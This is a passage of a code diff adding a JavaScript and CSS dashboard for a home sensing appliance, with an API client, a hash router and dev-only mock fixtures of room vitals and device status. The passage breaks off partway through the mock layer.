+.mt { margin-top: 14px; } .mb { margin-bottom: 14px; }
+small.ts { color: var(--t3); font-size: 11.5px; }
+strong.mono { font-size: 13px; color: var(--t1); }

v2/crates/homecore-server/ui/css/tokens.css

@@ -0,0 +1,34 @@
+/*
+ * HOMECORE-UI design tokens — ADR-131 §3.1 / §3.2.
+ *
+ * These values are extracted verbatim from the production Cognitum
+ * platform (seed.cognitum.one/store + /status). DO NOT introduce new
+ * colours, typefaces, or border radii — ADR-131 §3.3 invariant. A user
+ * navigating from the Cog Store into HOMECORE must not notice a seam.
+ */
+:root {
+  /* §3.1 colour palette */
+  --bg: #0a0e1a;          /* page background (very dark navy)            */
+  --bg2: #111627;         /* secondary background / nav strip           */
+  --card: #171d30;        /* card / panel surface                       */
+  --card-h: #1e2540;      /* card hover state                           */
+  --border: #252d45;      /* all border strokes (~0.67px, subtle)       */
+  --t1: #e0e4f0;          /* primary text (near-white)                  */
+  --t2: #8890a8;          /* secondary / muted text                     */
+  --t3: #505872;          /* tertiary / disabled text                   */
+  --cyan: #4ecdc4;        /* primary action colour                      */
+  --cyan-d: rgba(78,205,196,0.15);
+  --green: #6bcb77;       /* success / online / healthy                 */
+  --green-d: rgba(107,203,119,0.15);
+  --amber: #d4a574;       /* warning / stale / degraded                 */
+  --amber-d: rgba(212,165,116,0.15);
+  --red: #e06060;         /* error / offline / veto                     */
+  --red-d: rgba(224,96,96,0.15);
+  --purple: #a78bfa;      /* informational / epoch / chain              */
+  --purple-d: rgba(167,139,250,0.15);
+  --r: 10px;              /* standard border radius                     */
+
+  /* §3.2 typography */
+  --font: 'Segoe UI', system-ui, -apple-system, sans-serif;
+  --mono: 'Cascadia Code', 'Fira Code', Consolas, monospace;
+}

v2/crates/homecore-server/ui/index.html

@@ -0,0 +1,17 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="utf-8" />
+  <meta name="viewport" content="width=device-width, initial-scale=1" />
+  <title>HOMECORE — Cognitum Appliance</title>
+  <meta name="description" content="HOMECORE operational dashboard for the two-tier Cognitum stack (ADR-131)." />
+  <link rel="stylesheet" href="./css/tokens.css" />
+  <link rel="stylesheet" href="./css/app.css" />
+</head>
+<body>
+  <div id="app">
+    <noscript>HOMECORE-UI requires JavaScript.</noscript>
+  </div>
+  <script type="module" src="./js/app.js"></script>
+</body>
+</html>

v2/crates/homecore-server/ui/js/api.js

@@ -0,0 +1,197 @@
+// HOMECORE-UI API client — ADR-131 §2 / §11.
+//
+// Production path: every method issues a SAME-ORIGIN request to the
+// homecore-server BFF gateway (§2.1). There is NO mock fallback in
+// production — a failed upstream rejects, and the panel renders a typed
+// error/empty state (§2.2, §11.11). The in-browser mock layer is a
+// DEV-ONLY fixture, reachable only when demo mode is on:
+//   ?demo=1  in the URL,  globalThis.HOMECORE_UI_DEMO,  or
+//   localStorage 'homecore_demo' = '1'.
+//
+// Gateway route map: ADR-131 §11.2.
+
+// DEV-ONLY fixtures. Loaded via DYNAMIC import so a production bundle that
+// never enters demo mode never pulls mock.js into the graph (§2.2). Cached
+// after first use so repeated demo calls don't re-import.
+let _mock = null;
+async function loadMock() {
+  if (!_mock) _mock = await import('./mock.js');
+  return _mock;
+}
+
+const demoFlags = {};
+
+/** Demo mode = explicit dev opt-in only; never the production default. */
+export function demoMode() {
+  try { if (typeof location !== 'undefined' && /[?&]demo=1(\b|&|$)/.test(location.search || '')) return true; } catch {}
+  try { if (typeof globalThis !== 'undefined' && globalThis.HOMECORE_UI_DEMO) return true; } catch {}
+  try { if (typeof localStorage !== 'undefined' && localStorage.getItem('homecore_demo') === '1') return true; } catch {}
+  return false;
+}
+
+export const api = {
+  base: '',
+  token: () => { try { return localStorage.getItem('homecore_token') || 'dev-token'; } catch { return 'dev-token'; } },
+  isDemo: (key) => !!demoFlags[key],
+  anyDemo: () => demoMode() && Object.keys(demoFlags).length > 0,
+  demoMode,
+
+  async _get(path) {
+    const r = await fetch(this.base + path, { headers: { Authorization: 'Bearer ' + this.token() } });
+    if (!r.ok) throw httpError(path, r.status);
+    return r.json();
+  },
+  async _post(path, body) {
+    const r = await fetch(this.base + path, {
+      method: 'POST',
+      headers: { Authorization: 'Bearer ' + this.token(), 'Content-Type': 'application/json' },
+      body: JSON.stringify(body || {}),
+    });
+    if (!r.ok) throw httpError(path, r.status);
+    return r.json();
+  },
+  async _delete(path) {
+    const r = await fetch(this.base + path, { method: 'DELETE', headers: { Authorization: 'Bearer ' + this.token() } });
+    if (!r.ok) throw httpError(path, r.status);
+    return r.status === 204 ? {} : r.json();
+  },
+
+  // demo-gated data accessor: real gateway GET in prod, mock fixture in demo.
+  // The mock module is dynamically imported ONLY on the demo branch, so prod
+  // never loads it. `mockFn` receives the loaded module.
+  async _data(key, path, mockFn) {
+    if (demoMode()) { demoFlags[key] = true; return mockFn(await loadMock()); }
+    delete demoFlags[key];
+    return this._get(path);
+  },
+
+  // ── homecore-api (real, already served) ───────────────────────────
+  async config() { return this._get('/api/config'); },
+  async states() {
+    if (demoMode()) { demoFlags.states = true; return demoEntities(); }
+    delete demoFlags.states;
+    return this._get('/api/states');
+  },
+  async services() { return this._data('services', '/api/services', () => []); },
+  async callService(domain, service, data) { return this._post(`/api/services/${domain}/${service}`, data); },
+  async setState(entityId, state, attributes) { return this._post(`/api/states/${entityId}`, { state, attributes: attributes || {} }); },
+
+  // ── gateway /api/homecore/* + /api/events (§11.2) ─────────────────
+  async appliance() { return this._data('appliance', '/api/homecore/appliance', (m) => m.applianceHealth()); },
+  async seeds() { return this._data('fleet', '/api/homecore/seeds', (m) => m.seeds()); },
+  async seed(id) { return this._data('fleet', '/api/homecore/seeds/' + encodeURIComponent(id), (m) => m.seed(id)); },
+  async esp32Warnings() {
+    if (demoMode()) { demoFlags.fleet = true; return (await loadMock()).esp32Warnings(); }
+    const seeds = await this._get('/api/homecore/seeds');
+    return seeds.flatMap((s) => (s.warnings || []).map((issue) => ({ node_id: s.device_id, seed: s.device_id, issue })));
+  },
+  async cogs() { return this._data('cogs', '/api/homecore/cogs', (m) => m.cogs()); },
+  async cogUpdates() { return this._data('cogs', '/api/homecore/cogs/updates', (m) => m.cogUpdates()); },
+  async hailo() { return this._data('cogs', '/api/homecore/hailo', (m) => ({ worker: 'connected', cogs: m.cogs().filter((c) => c.arch === 'hailo10') })); },
+  async roomStates() { return this._data('rooms', '/api/homecore/rooms', (m) => m.roomStates()); },
+  async federation() { return this._data('fleet', '/api/homecore/federation', (m) => m.federation()); },
+  async witnessLog(page = 0, size = 12) { return this._data('audit', `/api/homecore/witness?page=${page}&size=${size}`, (m) => m.witnessLog(page, size)); },
+  async privacyModes() { return this._data('audit', '/api/homecore/privacy', (m) => m.privacyModes()); },
+  async setPrivacy(seed, modeValue) { if (demoMode()) return { seed, mode: modeValue }; return this._post('/api/homecore/privacy', { seed, mode: modeValue }); },
+  async eventHistory(n = 40) { return this._data('events', `/api/events?limit=${n}`, (m) => m.recentEvents(n)); },
+  recentEvents(n) { return this.eventHistory(n); }, // back-compat alias (async)
+  async settings() { return this._data('settings', '/api/homecore/settings', (m) => m.settings()); },
+  async automations() { return this._data('automations', '/api/homecore/automations', () => []); },
+  async saveAutomation(a) { if (demoMode()) return a; return this._post('/api/homecore/automations', a); },
+  async tokens() { return this._data('settings', '/api/homecore/tokens', (m) => m.settings().tokens); },
+
+  // calibration (ADR-151) — real proxy in prod, simulated in demo.
+  calibration: makeCalibration(),
+};
+
+function httpError(path, status) {
+  const e = new Error(`${path} → HTTP ${status}`);
+  e.status = status;
+  e.upstreamUnavailable = status === 503 || status === 504;
+  return e;
+}
+
+// Demo-only entity fixture (prod path uses real GET /api/states).
+function demoEntities() {
+  return [
+    { entity_id: 'sensor.living_room_presence', state: 'true', attributes: { friendly_name: 'Living Room Presence', source: 'esp32-lr-01', seed: 'seed-livingroom-a1' }, last_changed: new Date().toISOString(), last_updated: new Date().toISOString(), context: { id: 'ctx-1', user_id: null, parent_id: null } },
+    { entity_id: 'sensor.bedroom_1_breathing_rate', state: '14.5', attributes: { friendly_name: 'Bedroom 1 Breathing Rate', unit_of_measurement: 'BPM', source: 'esp32-br1-01', seed: 'seed-bedroom-1' }, last_changed: new Date().toISOString(), last_updated: new Date().toISOString(), context: { id: 'ctx-2', user_id: null, parent_id: 'ctx-1' } },
+  ];
+}
+
+/**
+ * Resolve an entity's tier provenance (§4.4 / §11.9). Prefers the
+ * explicit `attributes.seed`/`attributes.cog` lineage that integrations
+ * are expected to stamp; falls back to parsing the ESP32 node id. In demo
+ * mode it may consult the mock node registry. Missing lineage → 'unknown'
+ * (never fabricated).
+ */
+export function entityProvenance(entity) {
+  const attrs = (entity && entity.attributes) || {};
+  const src = String(attrs.source || '');
+  const nodeMatch = src.match(/esp32[-\w]*/i);
+  const node = attrs.node || (nodeMatch ? nodeMatch[0] : null);
+  let seed = attrs.seed || null;
+  // Demo-only enrichment: consult the mock node registry IF it has already
+  // been dynamically loaded by a prior demo data call (this fn is sync, so it
+  // cannot await the import). Prod never has `_mock` set → seed stays null
+  // (never fabricated).
+  if (!seed && demoMode() && node && _mock) {
+    const cfg = _mock.settings().esp32.find((n) => n.node_id === node);
+    seed = cfg ? cfg.seed : null;
+  }
+  const hailo = /hailo|pose/i.test(src) || /hailo/i.test(String(attrs.cog || ''));
+  const cog = attrs.cog || (/matter|bfld|mmwave|mr60/i.test(src) ? 'cog-ha-matter' : (hailo ? 'cog-pose-estimation' : null));
+  return { esp32: node, seed: seed || (node ? 'unknown' : null), cog: cog || 'unknown', hailo };
+}
+
+// Calibration: per-call branch on demo mode. Prod proxies the real
+// calibrate-serve API via the gateway (/api/cal/v1/*). All methods are
+// async (the §4.7 wizard awaits them).
+function makeCalibration() {
+  const ANCHORS = ['empty', 'stand_still', 'sit', 'lie_down', 'breathe_slow', 'breathe_normal', 'small_move', 'sleep_posture'];
+  // demo session state
+  let frames = 0; const target = 1200; const accepted = new Set();
+  const get = (p) => api._get('/api/cal/v1' + p);
+  const post = (p, b) => api._post('/api/cal/v1' + p, b);
+  return {
+    ANCHORS,
+    get demo() { return demoMode(); },
+    async start() {
+      if (demoMode()) { frames = 0; return { baseline_id: 'bl-demo-' + ANCHORS.length }; }
+      return post('/calibration/start', {});
+    },
+    async stop() { if (demoMode()) return { stopped: true }; return post('/calibration/stop', {}); },
+    async status() {
+      if (demoMode()) { frames = Math.min(target, frames + 180); return { frames, target, eta_s: Math.max(0, Math.round((target - frames) / 180)), z_median: 0.41, motion_flagged: frames < 360 }; }
+      return get('/calibration/status');
+    },
+    async anchor(label) {
+      if (demoMode()) {
+        const ok = label !== 'sleep_posture' || accepted.size >= 6;
+        if (ok) accepted.add(label);
+        return { label, accepted: ok, reason: ok ? null : 'insufficient stillness — retry', features: { mean: 0.12, variance: 0.04, breathing_score: 0.7, heart_score: 0.55 } };
+      }
+      return post('/enroll/anchor', { label });
+    },
+    async enrollStatus() {
+      if (demoMode()) return { accepted: [...accepted], total: ANCHORS.length };
+      return get('/enroll/status');
+    },
+    async train(room_id) {
+      if (demoMode()) {
+        const trained = accepted.size >= 6;
+        return {
+          presence: trained ? { threshold: 0.31, occupied_var: 0.08 } : null,
+          posture: trained ? { prototypes: 4 } : null,
+          breathing: accepted.has('breathe_normal') ? { min_score: 0.6 } : null,
+          heartbeat: accepted.has('breathe_normal') ? { min_score: 0.5 } : null,
+          restlessness: trained ? { calm: 0.05, active: 0.6 } : null,
+          anomaly: trained ? { prototypes: 8, scale: 1.4 } : null,
+        };
+      }
+      return post('/room/train', { room_id });
+    },
+    reset() { accepted.clear(); frames = 0; },
+  };
+}

v2/crates/homecore-server/ui/js/app.js

@@ -0,0 +1,141 @@
+// HOMECORE-UI bootstrap + shell + router — ADR-131 §5.
+//
+// Builds the Cognitum-shell top nav (Framework | Guide | Cog Store |
+// HOMECORE | Status) with HOMECORE active, a left sub-nav for the nine
+// HOMECORE sections, and a hash router. One shared WebSocket feeds a bus
+// that every panel subscribes to (no per-panel sockets, no polling).
+
+import { h, clear, lagIndicator } from './ui.js';
+import { api } from './api.js';
+import { connect } from './ws.js';
+
+import dashboard from './panels/dashboard.js';
+import fleet from './panels/fleet.js';
+import seedDetail from './panels/seed-detail.js';
+import entities from './panels/entities.js';
+import rooms from './panels/rooms.js';
+import cogs from './panels/cogs.js';
+import calibration from './panels/calibration.js';
+import events from './panels/events.js';
+import audit from './panels/audit.js';
+import settings from './panels/settings.js';
+
+// Section registry. order drives the left sub-nav (§5).
+const SECTIONS = [
+  { id: 'dashboard', label: 'Dashboard', icon: '◳', mod: dashboard },
+  { id: 'fleet', label: 'SEED Fleet', icon: '⬡', mod: fleet },
+  { id: 'entities', label: 'Entities', icon: '◈', mod: entities },
+  { id: 'rooms', label: 'Rooms', icon: '⌂', mod: rooms },
+  { id: 'cogs', label: 'COGs', icon: '⚙', mod: cogs },
+  { id: 'calibration', label: 'Calibration', icon: '⊹', mod: calibration },
+  { id: 'events', label: 'Events', icon: '⚡', mod: events },
+  { id: 'audit', label: 'Audit', icon: '⛨', mod: audit },
+  { id: 'settings', label: 'Settings', icon: '⚒', mod: settings },
+];
+// Detail routes not shown in the sub-nav.
+const ROUTES = { 'seed': seedDetail };
+
+// Shared event bus fed by the single WS connection.
+const bus = new EventTarget();
+let wsState = { state: 'connecting', lagged: false };
+
+const ctx = {
+  api,
+  bus,
+  wsStatus: () => wsState,
+  navigate: (hash) => { location.hash = hash; },
+  onEvent(handler) {
+    const fn = (e) => handler(e.detail);
+    bus.addEventListener('hc-event', fn);
+    return () => bus.removeEventListener('hc-event', fn);
+  },
+  onWs(handler) {
+    const fn = (e) => handler(e.detail);
+    bus.addEventListener('hc-ws', fn);
+    handler(wsState);
+    return () => bus.removeEventListener('hc-ws', fn);
+  },
+};
+
+let cleanup = null;
+
+function buildShell() {
+  const topnav = h('.topnav',
+    h('.brand',
+      h('span.logo', 'C'),
+      h('span.brand-name', 'Cognitum'),
+      h('span.brand-sep', '/'),
+      h('span.brand-tag', 'HOMECORE')),
+    h('span.nav-spacer'),
+    lagIndicatorHost());
+  const sidenav = h('.sidenav', ...SECTIONS.map((s) => sideLink(s)));
+  const content = h('.content#hc-content');
+  const shell = h('.shell', sidenav, content);
+  const root = document.getElementById('app');
+  clear(root);
+  root.appendChild(topnav);
+  root.appendChild(shell);
+  return content;
+}
+
+function sideLink(section) {
+  return h('a', { href: '#/' + section.id, 'data-section': section.id },
+    h('span.ico', section.icon || '•'), h('span.lbl', section.label));
+}
+
+function lagIndicatorHost() {
+  const host = h('span');
+  const paint = () => { clear(host); host.appendChild(lagIndicator(wsState.state, wsState.lagged)); };
+  bus.addEventListener('hc-ws', paint);
+  paint();
+  return host;
+}
+
+function highlightNav(id) {
+  document.querySelectorAll('.sidenav a').forEach((a) => {
+    a.classList.toggle('active', a.getAttribute('data-section') === id);
+  });
+}
+
+async function route() {
+  const hash = location.hash.replace(/^#\/?/, '') || 'dashboard';
+  const [head, ...rest] = hash.split('/');
+  const content = document.getElementById('hc-content') || buildShell();
+
+  if (typeof cleanup === 'function') { try { cleanup(); } catch {} cleanup = null; }
+  clear(content);
+
+  let mod, params = {};
+  const section = SECTIONS.find((s) => s.id === head);
+  if (section) { mod = section.mod; highlightNav(head); }
+  else if (ROUTES[head]) { mod = ROUTES[head]; params.id = rest[0]; highlightNav('fleet'); }
+  else { mod = SECTIONS[0].mod; highlightNav('dashboard'); }
+
+  try {
+    const result = await mod.render(content, { ...ctx, params });
+    if (typeof result === 'function') cleanup = result;
+  } catch (e) {
+    content.appendChild(h('.banner.red', 'Panel error: ' + (e && e.message ? e.message : e)));
+    console.error(e);
+  }
+}
+
+function start() {
+  buildShell();
+  // Attach routing + render the first panel BEFORE opening the socket.
+  // connect() invokes its status callback synchronously, so the WS wiring
+  // must not be on the critical render path (a thrown callback here would
+  // otherwise blank the whole dashboard).
+  window.addEventListener('hashchange', route);
+  route();
+  const ctrl = connect(
+    (evt) => bus.dispatchEvent(new CustomEvent('hc-event', { detail: evt })),
+    (st) => { wsState = { state: st.state, lagged: !!st.lagged }; bus.dispatchEvent(new CustomEvent('hc-ws', { detail: wsState })); },
+  );
+  ctx.ws = ctrl;
+}
+
+if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', start);
+else start();
+
+export { SECTIONS, ctx };

v2/crates/homecore-server/ui/js/mock.js

@@ -0,0 +1,296 @@
+// HOMECORE-UI contract-conformant mock layer — ADR-131 §7.1.
+//
+// "Where a service is not yet stable, the panel is still built against
+//  its defined contract (with a contract-conformant mock standing in for
+//  the live endpoint only until that endpoint lands)."
+//
+// Shapes mirror the schemas described in ADR-131 §4 + the calibration
+// RoomState contract (docs/integration/calibration-appliance-integration.md)
+// + the SEED HTTPS API. Live endpoints replace these the moment they
+// exist; nothing here is presented to the operator as real (the UI shows
+// a DEMO badge whenever the mock layer is serving a panel — see api.js).
+
+const now = () => new Date().toISOString();
+const ago = (s) => new Date(Date.now() - s * 1000).toISOString();
+function jitter(base, amp) { return +(base + (Math.sin(Date.now() / 3000 + base) * amp)).toFixed(2); }
+function spark(base, amp, n = 24) {
+  return Array.from({ length: n }, (_, i) => +(base + Math.sin(i / 2) * amp + (i % 3) * amp * 0.2).toFixed(2));
+}
+
+// Factory for a bedroom SEED node — keeps the three bedrooms consistent
+// while varying the values that matter for the analysis views.
+function bedroomSeed(o) {
+  return {
+    device_id: o.device_id, firmware: '0.7.3', online: true, conn: o.conn || 'wifi', epoch: o.epoch,
+    vector_count: o.vector_count, vector_dim: 8, knn_latency_ms: o.knn_latency_ms,
+    last_ingest: ago(2), witness_valid: true, witness_len: o.witness_len,
+    witness_last_verify: ago(1800), zone: o.zone,
+    storage_used: o.vector_count, storage_budget: 100000,
+    sensors: {
+      bme280: { temp_c: o.temp_c, humidity_pct: o.humidity_pct, pressure_hpa: 1013.0 },
+      pir: { motion: o.motion, last_trigger: ago(o.motion ? 5 : 640) },
+      reed: { open: false, last_change: ago(30000) },
+      ads1115: [{ label: 'ch0', v: 0.11 }, { label: 'ch1', v: 0.0 }, { label: 'ch2', v: 0.0 }, { label: 'ch3', v: 0.0 }],
+      vibration: { active: false, last_trigger: null },
+    },
+    reflex: [
+      { name: 'fragility_alarm', threshold: 0.3, target: 'relay actuator', last_fired: o.fired ? ago(420) : null, fired_recently: !!o.fired },
+      { name: 'drift_cutoff', threshold: 1.0, target: 'ingest gate', last_fired: null, fired_recently: false },
+      { name: 'hd_anomaly_indicator', threshold: 200, target: 'PWM brightness', last_fired: null, fired_recently: false },
+    ],
+    cognition: { fragility: o.fragility, coherence_phases: o.phases, knn_rebuild_s: 10 },
+    ingest: { batch: 64, flush_ms: 1000, bridge: 'direct', esp32: [{ node_id: o.node, packet: '0xC5110003', rate_hz: 1.0 }] },
+    esp32_nodes: 1, frame_rate_hz: 100,
+  };
+}
+
+// ── v0 Appliance health (§4.1) ──────────────────────────────────────
+export function applianceHealth() {
+  return {
+    cpu_pct: jitter(34, 6),
+    ram_pct: jitter(58, 4),
+    hailo_load_pct: jitter(41, 12),
+    hailo_temp_c: jitter(52, 3),
+    uptime_s: 824510,
+    services: [
+      { name: 'ruview-mcp-brain', port: 9876, status: 'running' },
+      { name: 'cognitum-rvf-agent', port: 9004, status: 'running' },
+      { name: 'ruvector-hailo-worker', port: 50051, status: 'running' },
+    ],
+    event_rate: spark(120, 40),
+    channel_capacity: 4096,
+    channel_lag: 0,
+  };
+}
+
+// ── SEED fleet (§4.1 / §4.2) ────────────────────────────────────────
+const SEEDS = [
+  {
+    device_id: 'seed-livingroom-a1',
+    firmware: '0.7.3', online: true, conn: 'wifi', epoch: 184,
+    vector_count: 71280, vector_dim: 8, knn_latency_ms: 2.1,
+    last_ingest: ago(3), witness_valid: true, witness_len: 184210,
+    witness_last_verify: ago(900), zone: 'Living Room',
+    storage_used: 71280, storage_budget: 100000,
+    sensors: {
+      bme280: { temp_c: 21.6, humidity_pct: 44, pressure_hpa: 1013.2 },
+      pir: { motion: true, last_trigger: ago(8) },
+      reed: { open: false, last_change: ago(7200) },
+      ads1115: [{ label: 'soil', v: 0.42 }, { label: 'light', v: 0.71 }, { label: 'aux2', v: 0.03 }, { label: 'aux3', v: 0.0 }],
+      vibration: { active: false, last_trigger: ago(40000) },
+    },
+    reflex: [
+      { name: 'fragility_alarm', threshold: 0.3, target: 'relay actuator', last_fired: ago(300), fired_recently: true },
+      { name: 'drift_cutoff', threshold: 1.0, target: 'ingest gate', last_fired: null, fired_recently: false },
+      { name: 'hd_anomaly_indicator', threshold: 200, target: 'PWM brightness', last_fired: ago(12000), fired_recently: false },
+    ],
+    cognition: { fragility: 0.42, coherence_phases: [{ t: ago(3600), label: 'empty' }, { t: ago(1800), label: 'occupied' }, { t: ago(300), label: 'regime-change' }], knn_rebuild_s: 10 },
+    ingest: { batch: 64, flush_ms: 1000, bridge: 'host-laptop hop', esp32: [{ node_id: 'esp32-lr-01', packet: '0xC5110003', rate_hz: 1.0 }, { node_id: 'esp32-lr-02', packet: '0xC5110002', rate_hz: 0.9 }] },
+    esp32_nodes: 2, frame_rate_hz: 98,
+  },
+  bedroomSeed({
+    device_id: 'seed-bedroom-1', zone: 'Bedroom 1 (primary)', epoch: 183,
+    vector_count: 38110, knn_latency_ms: 1.7, witness_len: 91022,
+    temp_c: 20.1, humidity_pct: 47, motion: false, fragility: 0.12,
+    phases: [{ t: ago(7200), label: 'empty' }, { t: ago(3600), label: 'sleep' }],
+    node: 'esp32-br1-01', conn: 'usb',
+  }),
+  bedroomSeed({
+    device_id: 'seed-bedroom-2', zone: 'Bedroom 2 (guest)', epoch: 181,
+    vector_count: 29440, knn_latency_ms: 1.9, witness_len: 70210,
+    temp_c: 19.4, humidity_pct: 50, motion: true, fragility: 0.21,
+    phases: [{ t: ago(5400), label: 'empty' }, { t: ago(900), label: 'occupied' }],
+    node: 'esp32-br2-01', conn: 'wifi',
+  }),
+  bedroomSeed({
+    device_id: 'seed-bedroom-3', zone: 'Bedroom 3 (kids)', epoch: 179,
+    vector_count: 24105, knn_latency_ms: 2.0, witness_len: 60880,
+    temp_c: 21.0, humidity_pct: 45, motion: false, fragility: 0.34,
+    phases: [{ t: ago(9000), label: 'empty' }, { t: ago(4200), label: 'sleep' }, { t: ago(600), label: 'restless' }],
+    node: 'esp32-br3-01', conn: 'wifi', fired: true,
+  }),
+  {
+    device_id: 'seed-hallway-c3',
+    firmware: '0.6.9', online: false, conn: 'wifi', epoch: 170,
+    vector_count: 12044, vector_dim: 8, knn_latency_ms: null,
+    last_ingest: ago(5400), witness_valid: true, witness_len: 40110,
+    witness_last_verify: ago(86400), zone: 'Hallway',
+    storage_used: 12044, storage_budget: 100000,
+    sensors: null,
+    reflex: [],
+    cognition: { fragility: null, coherence_phases: [], knn_rebuild_s: 10 },
+    ingest: { batch: 64, flush_ms: 1000, bridge: 'direct', esp32: [] },
+    esp32_nodes: 0, frame_rate_hz: 0,
+    warnings: ['stale firmware version (0.6.9 < 0.7.3)', 'offline > 1h'],
+  },
+];
+export function seeds() { return SEEDS.map((s) => ({ ...s })); }
+export function seed(id) { return SEEDS.find((s) => s.device_id === id) || null; }
+
+// ── ESP32 node warnings (§4.1) ──────────────────────────────────────
+export function esp32Warnings() {
+  return [
+    { node_id: 'esp32-lr-02', seed: 'seed-livingroom-a1', issue: 'presence_score normalisation anomaly' },
+    { node_id: 'esp32-hw-01', seed: 'seed-hallway-c3', issue: 'stale firmware version' },
+  ];
+}
+
+// ── COG runtime (§4.6) ──────────────────────────────────────────────
+const COGS = [
+  { id: 'cog-ha-matter', version: '1.4.2', arch: 'arm', status: 'running', pid: 4120, sha256_verified: true, signature_verified: true },
+  { id: 'cog-pose-estimation', version: '2.1.0', arch: 'hailo10', status: 'running', pid: 4188, sha256_verified: true, signature_verified: true, hef: ['rf_foundation_encoder.hef', 'pose_head.hef'], throughput_fps: 41 },
+  { id: 'cog-person-count', version: '0.9.4', arch: 'arm', status: 'running', pid: 4205, sha256_verified: true, signature_verified: true },
+  { id: 'cog-calibration', version: '1.0.1', arch: 'arm', status: 'running', pid: 4250, sha256_verified: true, signature_verified: true },
+  { id: 'cog-anomaly-watch', version: '0.3.0', arch: 'arm', status: 'failed', pid: null, sha256_verified: true, signature_verified: true, error: 'panic: bank not found' },
+  { id: 'cog-legacy-bridge', version: '0.1.2', arch: 'arm', status: 'stopped', pid: null, sha256_verified: false, signature_verified: false },
+];
+export function cogs() { return COGS.map((c) => ({ ...c })); }
+export function cogUpdates() { return [{ id: 'cog-pose-estimation', from: '2.1.0', to: '2.2.0', new_entities: ['sensor.lr_pose_confidence'], config_changes: ['add: max_persons'] }]; }
+export function appRegistry() {
+  return [
+    { id: 'cog-fall-detect', title: 'Fall Detection', desc: 'Multistatic fall detection specialist', category: 'safety', arch: 'arm', featured: true, new_entities: ['binary_sensor.{room}_fall'] },
+    { id: 'cog-sleep-stage', title: 'Sleep Staging', desc: 'REM/deep/light from breathing + restlessness', category: 'health', arch: 'hailo10', new_entities: ['sensor.{room}_sleep_stage'] },
+    { id: 'cog-gesture', title: 'Gesture Control', desc: 'DTW gesture classifier → service calls', category: 'control', arch: 'arm', new_entities: ['event.{room}_gesture'] },
+  ];
+}
+
+// ── RoomState / sensing (§4.5) — calibration contract ───────────────
+export function roomStates() {
+  return [
+    {
+      room_id: 'living_room', stale: false, vetoed: false, seeds: ['seed-livingroom-a1'],
+      presence: { value: 'occupied', confidence: 0.93 },
+      posture: { value: 'sitting', confidence: 0.81 },
+      breathing_bpm: { value: jitter(15, 1.5), confidence: 0.77 },
+      heart_bpm: { value: jitter(72, 3), confidence: 0.64 },
+      restlessness: { value: 0.22, confidence: 0.7 },
+      anomaly: { value: 0.18, confidence: 0.8, threshold: 0.8 },
+    },
+    {
+      // Bedroom 1 — primary; healthy sleeping vitals.
+      room_id: 'bedroom_1', stale: false, vetoed: false, seeds: ['seed-bedroom-1'],
+      presence: { value: 'occupied', confidence: 0.91 },
+      posture: { value: 'lying', confidence: 0.9 },
+      breathing_bpm: { value: jitter(12, 1), confidence: 0.85 },
+      heart_bpm: { value: jitter(58, 2), confidence: 0.72 },
+      restlessness: { value: 0.08, confidence: 0.8 },
+      anomaly: { value: 0.12, confidence: 0.84, threshold: 0.8 },
+    },
+    {
+      // Bedroom 2 — guest; STALE bank (recalibrate demo).
+      room_id: 'bedroom_2', stale: true, vetoed: false, seeds: ['seed-bedroom-2'],
+      presence: { value: 'occupied', confidence: 0.86 },
+      posture: { value: 'sitting', confidence: 0.7 },
+      breathing_bpm: { value: jitter(16, 1.5), confidence: 0.66 },
+      heart_bpm: { value: jitter(74, 3), confidence: 0.58 },
+      restlessness: { value: 0.31, confidence: 0.62 },
+      anomaly: { value: 0.4, confidence: 0.6, threshold: 0.8 },
+    },
+    {
+      // Bedroom 3 — kids; heartbeat specialist not yet trained.
+      room_id: 'bedroom_3', stale: false, vetoed: false, seeds: ['seed-bedroom-3'],
+      presence: { value: 'occupied', confidence: 0.79 },
+      posture: { value: 'lying', confidence: 0.74 },
+      breathing_bpm: { value: jitter(18, 2), confidence: 0.69 },
+      heart_bpm: null,                                     // null = not trained (§6 invariant 3)
+      restlessness: { value: 0.46, confidence: 0.6 },
+      anomaly: { value: 0.22, confidence: 0.7, threshold: 0.8 },
+    },
+    {
+      room_id: 'kitchen', stale: false, vetoed: true, seeds: ['seed-livingroom-a1', 'seed-hallway-c3'],
+      presence: { value: 'occupied', confidence: 0.6 },
+      posture: { value: null, confidence: null },        // suppressed by veto — withheld, NOT zero (§4.5)
+      breathing_bpm: { value: null, confidence: null },
+      heart_bpm: { value: null, confidence: null },
+      restlessness: { value: 0.4, confidence: 0.5 },
+      anomaly: { value: 0.91, confidence: 0.88, threshold: 0.8 },
+    },
+    {
+      room_id: 'office', stale: false, vetoed: false, seeds: ['seed-bedroom-1'],
+      presence: { value: 'absent', confidence: 0.95 },
+      posture: null,                                       // null = not trained (§6 invariant 3)
+      breathing_bpm: null,
+      heart_bpm: null,
+      restlessness: { value: 0.0, confidence: 0.9 },
+      anomaly: { value: 0.05, confidence: 0.9, threshold: 0.8 },
+    },
+  ];
+}
+
+// ── Fleet map / federation (§4.3) ───────────────────────────────────
+export function federation() {
+  return {
+    coordinator: 'seed-livingroom-a1', round: 47, k_healthy: 4, delta_status: 'exchanging',
+    invariant: 'model deltas only — never raw CSI',
+    krum: { f: 1, multi: true }, cadence_min: 30,
+    mesh_links: [
+      { a: 'seed-livingroom-a1', b: 'seed-bedroom-1', health: 'green' },
+      { a: 'seed-bedroom-1', b: 'seed-bedroom-2', health: 'green' },
+      { a: 'seed-bedroom-2', b: 'seed-bedroom-3', health: 'amber' },
+      { a: 'seed-bedroom-1', b: 'seed-hallway-c3', health: 'red' },
+    ],
+    fused_events: [{ kind: 'fall', seeds: ['seed-livingroom-a1', 'seed-hallway-c3'], n: 2 }, { kind: 'occupant-track', seeds: ['seed-bedroom-1', 'seed-bedroom-2', 'seed-livingroom-a1'], n: 3 }],
+  };
+}
+
+// ── Witness / audit (§4.9) ──────────────────────────────────────────
+export function witnessLog(page = 0, size = 12) {
+  const total = 240;
+  const items = Array.from({ length: size }, (_, i) => {
+    const n = page * size + i;
+    const seedTier = n % 2 === 0;
+    return {
+      entity_id: seedTier ? `rvf.store.write.${184210 - n}` : ['sensor.living_room_presence', 'binary_sensor.front_door', 'sensor.bedroom_breathing_rate'][n % 3],
+      old_state: seedTier ? null : ['false', 'off', '14.5'][n % 3],
+      new_state: seedTier ? `sha256:${(0x9a3f + n).toString(16)}…` : ['true', 'on', '15.1'][n % 3],
+      ts: ago(n * 37),
+      tier: seedTier ? 'seed-sha256' : 'homecore-ed25519',
